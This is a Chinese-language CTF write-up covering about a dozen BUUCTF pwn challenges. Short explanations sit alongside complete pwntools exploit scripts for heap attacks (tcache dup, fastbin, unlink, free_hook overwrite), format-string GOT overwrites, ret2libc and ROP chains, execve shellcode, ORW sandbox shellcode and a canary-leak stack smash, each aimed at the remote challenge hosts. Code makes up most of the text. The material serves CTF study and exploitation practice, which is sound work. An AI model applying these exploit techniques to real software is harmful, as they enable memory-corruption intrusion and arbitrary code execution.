第一次是为了修改 fd,使其指向存放有 tcache bin 信息的那个chunk
第二次和第三次是要申请一个 chunk 到 存放有 tcache bin 信息的那个 chunk 的位置,并且第三次申请的时候我们去修改 0x70 那一行为其它堆块的地址,接下来申请 0x10 大小的堆块时就能覆盖其它堆块从而改写 size 了
这里我们改写 chunk1 的
add(5,0x50,p64(ptr0-0x11e60)) add(6,0x50,b'a') add(7,0x50, b'\x00'*4+b'\x03'+b'a'*(0x40-5)+p64(ptr0+0x50)) #数量这里要大些,不然后面 dup 会失败 add(8,0x10,p64(0) + p64(0x101)) free(1)
并且我们把代表tcache 0x100 大小的二进制填为a
由于存储数量有限,那么 0x101 大小的这个 chunk 就会被放入 unsorted bin
不过这样的话,我们先 free ,再申请回来泄露基址的方法就不行了,因为会优先申请 tcache bin 中的
接下来的做法比较巧妙,同样是利用 dup,然后修改 fd ,使其指向 chunk1,由于 chunk1 已经放入了 unsorted bin,这时候,chunk1 的 fd 也成了 tcache bin 中的 chunk
所以要申请四次,并且可以知道 fd 距离 main_arena 的偏移是 96
拿到 libcbase 后,同样用 dup 修改 fd,改写 free_hook 为 system
这里有个比较巧妙的地方,由于 free_hook 的下面第二个内存单元不为空,所以也被放入了 tcache bin ,但是,如果我们 dup chunk 0,那么,chunk0 的 fd 指向了自身,就成了一个循环,这个因为 free_hook 而产生的 tcache bin 就消失了,还是要多调试,才能发现巧妙的点
还要,代表 0x60 大小的 bin 的二进制要大些,不然 dup 会失败
第一次 free(0)
第二次 free(0)
exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 28020) elf = ELF('./pwn') libc = ELF('buu/libc-2.27-x64.so') def add(index,size,content): p.sendlineafter('choice > ',str(1)) p.sendlineafter('input the index\n',str(index)) p.sendlineafter('input the size\n',str(size)) p.sendlineafter('something\n',content) p.recvuntil("gift :") ptr = int(p.recv(14),16) print(index,":",hex(ptr)) return ptr def free(index): p.sendlineafter('choice > ',str(2)) p.sendlineafter('input the index\n',str(index)) def debug(): gdb.attach(p) pause() # change size ptr0 = add(0, 0x50, b'a'*0x10) add(1, 0x70, 'b'*0x10) add(2, 0x70, 'c'*0x10) add(3, 0x50, '/bin/sh\x00') add(4, 0x10, 'd'*0x10) free(0) free(0) add(5, 0x50, p64(ptr0-0x11e60)) add(6, 0x50, b'a') add(7, 0x50, b'\x00'*4+b'\x03'+b'a'*(0x40-5)+p64(ptr0+0x50)) add(8, 0x10, p64(0) + p64(0x101)) # leak libcbase free(0) free(0) free(1) add(9,0x50,p64(ptr0+0x60)) add(10, 0x50, b'a') add(11, 0x50, b'b') ptr1 = add(12, 0x50, b'a') main_arena = ptr1 - 96 libcbase = main_arena - 0x10 - libc.sym['__malloc_hook'] print('libcbase => ', hex(libcbase)) free_hook = libcbase + libc.sym['__free_hook'] system = libcbase + libc.sym['system'] # free_hook => system free(0) free(0) add(13, 0x50, p64(free_hook)) add(14, 0x50, b'a') add(15, 0x50, p64(system)) # pwn free(3) p.interactive()
搞了一天,终于把这道题完全弄懂了
suctf_2018_basic pwn
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 29154) elf = ELF('./pwn') libc = ELF('buu/libc-2.27-x64.so') payload = b'a'*0x118 + p64(0x401157) p.sendline(payload) p.recv()
x_ctf_b0verfl0w
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') p = process('./pwn') #p = remote('node4.buuoj.cn', 29154) elf = ELF('./pwn') libc = ELF('buu/libc-2.27-x64.so') sub_esp = 0x8048500 jmp_esp = 0x08048504 shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' payload = shellcode.ljust(0x24, b'\x00') + p32(jmp_esp) + asm('sub esp,0x28;call esp') p.recv() p.sendline(payload) p.interactive()
inndy_echo
格式化字符串,没啥好说的
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 25266) elf = ELF('./pwn') libc = ELF('buu/libc-2.27-x64.so') payload = fmtstr_payload(7, {elf.got['printf']:elf.sym['system']}) p.sendline(payload) p.sendline(b'/bin/sh\x00') p.interactive()
hitcontraining_unlink
跟前面一道题一样
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 27579) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') def add(size, content): p.sendlineafter(b'Your choice:', '2') p.sendlineafter(b'Please enter the length of item name:', str(size)) p.sendafter(b'Please enter the name of item:', content) def show(): p.sendlineafter(b'Your choice:', '1') def edit(index, content): p.sendlineafter(b'Your choice:', '3') p.sendlineafter(b'Please enter the index of item:', str(index)) p.sendlineafter(b'Please enter the length of item name:', str(len(content))) p.sendafter(b'Please enter the new name of the item:', content) def free(index): p.sendlineafter(b'Your choice:', '4') p.sendlineafter(b'Please enter the index of item:', str(index)) def get_shell(): p.sendlineafter(b'Your choice:', '/bin/sh\x00') add(0x10, b'a') # index0 add(0x60, b'b') # index1 add(0x60, b'c') # index2 add(0x10, b'd') # index3 free(1) free(2) fake_chunk = 0x60209d payload = p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(fake_chunk) edit(0, payload) add(0x60, b'a') #index1 -> chunk2 add(0x60, b'b') #index2 -> fake_chunk edit(2, b'a'*0x1b + p64(elf.got['atoi'])) show() atoi_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) system = atoi_addr - libc.sym['atoi'] + libc.sym['system'] edit(0, p64(system)) get_shell() p.interactive()
axb_2019_fmt64
64 位下的格式化字符串
sed -i s/alarm/isnan/g ./pwn
可以替换 alarm 函数,就没那么烦人了
偏移为 8
不知道为啥,远程泄露 printf 不行,换成 puts 了
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 29713) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') p.recv() # leak libcbase payload = b'stop%9$s' + p64(elf.got['puts']) p.sendline(payload) p.recvuntil('stop') puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = puts - libc.sym['puts'] system = libcbase + libc.sym['system'] # printf => system payload = fmtstr_payload(8, {elf.got['printf']:system}, write_size = 'byte', numbwritten = 0x9) p.sendline(payload) # pwn p.sendline(b';/bin/sh\x00') p.interactive()
wustctf2020_name_your_cat
可以在 v3 数组上写,但是没对 v2 的大小做限制,可以越界写
并且存放后门函数,要我们通过数组越界写修改 ret 为 backdoor
偏移是 0x30 = 56,56 / 8 = 7
并且还要循环五次,那么我们写五次即可
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') p = process('./pwn') #p = remote('node4.buuoj.cn', 29713) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') for i in range(5): p.recv() p.sendline(b'7') p.recv() p.sendline(p32(elf.sym['shell'])) p.interactive()
ciscn_2019_es_1
菜单堆题,保护措施全开
add 新增一个 note 创建两个堆块,0x18 大小堆块的中八个字节放自定义堆块的 size ,前八个字节放自定义堆块的指针
name 放入自定义大小堆块中 call 放入0x18大小堆块中
free 存在 UAF,并且只释放自定义大小的堆块
show
先利用 UAF 去修改指针,然后利用 show 泄露基址
这里直接申请一个 0x410 的 chunk,然后 free,由于存放 UAF ,再 show 下, 那么就能泄露基址了
add(0x410, b'a', b'b') #index 0 add(0x20, b'a', b'b') #index 1 add(0x20, b'/bin/sh\x00', b'a') #index 2 #leak libcbase free(0) show(0) libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] free_hook = libcbase + libc.sym['__free_hook'] system = libcbase + libc.sym['system']
其次是利用 dup 修改指针指向 free_hook ,修改为 system
# free_hook -> system free(1) free(1) add(0x20, p64(free_hook), b'a') add(0x20, b'a', b'a') add(0x20, p64(system), b'a')
这里有个点是值得注意的, 0x18 的堆块会从放入 unsorted bin 的堆块拿
exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 26723) elf = ELF('./pwn') libc = ELF('buu/libc-2.27-x64.so') def debug(): gdb.attach(p) pause() def add(size, name, call): p.sendlineafter(b'choice:', '1') p.sendlineafter(b'Please input the size of compary\'s name\n', str(size)) p.sendafter(b'please input name:\n', name) p.sendafter(b'please input compary call:\n', call) def show(index): p.sendlineafter(b'choice:', '2') p.sendlineafter(b'Please input the index:\n', str(index)) def free(index): p.sendlineafter(b'choice:', '3') p.sendlineafter(b'Please input the index:\n', str(index)) add(0x410, b'a', b'b') #index 0 add(0x20, b'a', b'b') #index 1 add(0x20, b'/bin/sh\x00', b'a') #index 2 #leak libcbase free(0) show(0) libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] free_hook = libcbase + libc.sym['__free_hook'] system = libcbase + libc.sym['system'] # free_hook -> system free(1) free(1) add(0x20, p64(free_hook), b'a') add(0x20, b'a', b'a') add(0x20, p64(system), b'a') #pwn free(2) p.interactive()
axb_2019_brop64
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 28779) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') rdi = 0x400963 payload = b'If there is a chance,I won\'t make any mistake!\n\x00' payload = payload.ljust(0xd8, b'a') + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main']) p.sendafter(b'Please tell me:', payload) puts = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) print('puts => ', hex(puts)) libcbase = puts - libc.sym['puts'] system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) payload = b'If there is a chance,I won\'t make any mistake!\n\x00' payload = payload.ljust(0xd8, b'a') + p64(rdi) + p64(binsh) + p64(system) p.sendafter(b'Please tell me:', payload) p.interactive()
[极客大挑战 2019]Not Bad
沙盒逃逸
依旧是 orw
开始时开辟了一处空间
漏洞点是栈溢出
还要 jmp rsp 指令
栈的空间不够,只能把 orw 写在其它地方然后跳转执行
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 26189) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') mmap = 0x123000 buf = 0x123050 jmp_rsp = 0x400A01 shellcode = shellcraft.open('/flag') shellcode += shellcraft.read(3, buf, 0x40) shellcode += shellcraft.write(1, buf, 0x40) orw = asm(shellcode) p.recv() shellcode = asm(shellcraft.read(0, mmap, 0x100)) + asm("mov rax,0x123000;call rax") payload = shellcode.ljust(0x28, b'\x00') + p64(jmp_rsp) + asm("sub rsp,0x30;call rsp") p.sendline(payload) p.sendline(orw) p.interactive()
cmcc_pwnme1
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 29608) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') s = 0x8048913 # leak libcbase p.sendlineafter(b'>> 6. Exit \n', b'5') payload = b'a'*0xa4 + b'stop' + p32(elf.plt['puts']) + p32(elf.sym['main']) + p32(elf.got['puts']) p.sendlineafter(b'Please input the name of fruit:', payload) p.recvline() puts = u32(p.recv(4)) print('puts => ', hex(puts)) libcbase = puts - libc.sym['puts'] system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) # pwn p.sendlineafter(b'>> 6. Exit \n', b'5') payload = b'a'*0xa8 + p32(system) + p32(elf.sym['main']) + p32(binsh) p.sendlineafter(b'Please input the name of fruit:', payload) p.interactive()
wdb2018_guess
由于 flag 被写入了内存中,且开启了 canary ,那么当 canary 被覆盖报错的时候会泄露程序名
我们可以将指向程序名的 argv[0] 改为 flag 的地址,通过报错就能拿到 flag 了
不过我们不知道 flag 的地址,需要借助 environ 间接泄露 flag 的地址
s 距离 rbp 偏移为 0x40
断点打在了 gets ,可以知道填充到 argv[0] 需要 128 个字节
可以看到 flag 的地址 和 environ 的地址,偏移为 0x168
程序中会循环三次,第一次用来泄露 puts ,第二次用来泄露 environ ,第三次用来泄露 flag
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 29620) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') # leak libcbase p.recv() payload = b'a'*0x128 + p64(elf.got['puts']) p.sendline(payload) puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = puts - libc.sym['puts'] environ = libcbase + libc.sym['__environ'] # leak stack_environ p.recv() payload = b'a'*0x128 + p64(environ) p.sendline(payload) print('environ => ', hex(environ)) stack_environ = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) # leak flag p.recv() payload = b'a'*0x128 + p64(stack_environ - 0x168) p.sendline(payload) p.recv() print(p.recv())
令人无语的是,本地用 ubuntu22 和 16 加上 patchelf 换 libc ,本地调试都出现了问题, stack_environ 泄露不了,但是远程是行的,很无奈,要是比赛遇到这种情况真不知道怎么办
(估计是我当时太菜了,没 patchelf 好,不过 buu 提供的 libc 确实和 glibc-all-one 的不同,即使是同个小版本的)
gyctf_2020_some_thing_exceting
add 会创建三个堆块,一个 0x10 大小,两个自定义大小,0x10 大小堆块存放两个自定义堆块的指针
选择修改堆块的选项就退出了
free 存放 UAF
show
看看保护措施
没有开 PIE,可以通过 got 表泄露基址
先新增三个 note ,再全部 free,那么 fast bin 就多出来三个 0x20 大小的 bin,再新增一个 0x10,0x10 大小的 note ,同时修改本来存储的指针为 puts@got ,由于存放 UAF,再 show 下就能泄露基址了
add(0x20, b'a', 0x20, b'b') #index 0 add(0x20, b'a', 0x20, b'b') #index 1 add(0x20, b'a', 0x20, b'b') #index 2 free(0) free(1) free(2) add(0x10, p64(elf.got['puts']), 0x10, b'c') #index 3 print('puts@got -> ', hex(elf.got['puts'])) show(1) puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = puts - libc.sym['puts'] free_hook = libcbase + libc.sym['__free_hook'] system = libcbase + libc.sym['system']
不过由于 FULL RELRO,所以劫持 free_hook 了
实现这一步我能想到的方法就是 dup 了
找到了一个fake chunk
# free_hook -> system add(0x60, b'a', 0x60, b'b') #index4 add(0x60, b'a', 0x60, b'b') #index5 free(4) free(5) free(4) print('free_hook -> ', hex(free_hook)) print('system -> ', hex(system)) fake_chunk = free_hook - 0x13 add(0x60, p64(fake_chunk), 0x60, b'b') #index6 add(0x60, b'a', 0x60, b'b') #index7 add(0x60, p64(system), 0x60, b'b') #index8
但是
检测要比 tcache bin 严格,唉,看了眼 wp ,其实是另外的解法,同样是 dup
这里存在一个函数,会把 flag 读入内存
这里的 s 在 bss 段上,并且,byte_6020a0 也在 s 相邻的 bss 段上,还等于 96 = 0x60 ,也没开 PIE ,不是摆明要用 dup 在这里申请堆块吗,原来不开 PIE 是为了这个
fake_chunk 也找到了
最后再 show 下就行
exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 26086) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') def debug(): gdb.attach(p) pause() def add(size1, content1, size2, content2): p.sendlineafter(b'> Now please tell me what you want to do :', '1') p.sendlineafter(b'> ba\'s length : ', str(size1)) p.sendafter(b'> ba : ', content1) p.sendlineafter(b'> na\'s length : ', str(size2)) p.sendafter(b'> na : ', content2) def free(index): p.sendlineafter(b'> Now please tell me what you want to do :', '3') p.sendlineafter(b'> Banana ID : ', str(index)) def show(index): p.sendlineafter(b'> Now please tell me what you want to do :', '4') p.sendlineafter(b'> Banana ID : > SCP project ID : ', str(index)) add(0x50, b'a', 0x50, b'a') #index0 add(0x50, b'a', 0x50, b'a') #index1 free(0) free(1) free(0) fake_chunk = 0x602098 add(0x50, p64(fake_chunk), 0x50, b'c') #index2 add(0x50, b'a', 0x50, b'a') #index3 add(0x50, b'a', 0x40, b'a') #index4 show(4) print(p.recv())
有两个注意的点,一个是 byte_6020a0 = 0x60 ,所以我们创建 0x50 大小的 chunk 来 dup
另一个是申请第四个 note 的时候,由于这时候 fast bin 中 0x60 大小的 bin 的链表头部是指向 flag{xxxx} 的,所以这时候我们申请 0x50 大小的 chunk 会失败,要申请其它大小的
wustctf2020_easyfast
堆题,但是没菜单
add 堆块大小最大只能为 0x78
free 存在 UAF
每次只能写八个字节
后门,选项 4 触发,但是需要 qword_602090 为 0
没开 PIE,明显是要我们去创建 fake chunk ,修改 qword_602090 的值
调试下, 发现刚好送了个堆块的 size,方便我们创建
接下来就是利用 fast bin attack 了
exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 27594) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') def debug(): gdb.attach(p) pause() def add(size): p.sendlineafter(b'choice>\n', '1') p.sendlineafter(b'size>\n', str(size)) def free(index): p.sendlineafter(b'choice>\n', '2') p.sendlineafter(b'index>\n', str(index)) def edit(index, content): p.sendlineafter(b'choice>\n', '3') p.sendlineafter(b'index>\n', str(index)) p.send(content) def shell(): p.sendlineafter(b'choice>\n', '4') add(0x40) # index0 add(0x40) # index1 free(0) free(1) fake_chunk = 0x602080 edit(1, p64(fake_chunk)) add(0x40) #index2 add(0x40) #index3 -> fake_chunk edit(3, p64(0)) shell() p.interactive()
也可以用 dup 修改 fd ,之后差不多
BUUCTF-PWN-第二页writep(32题) _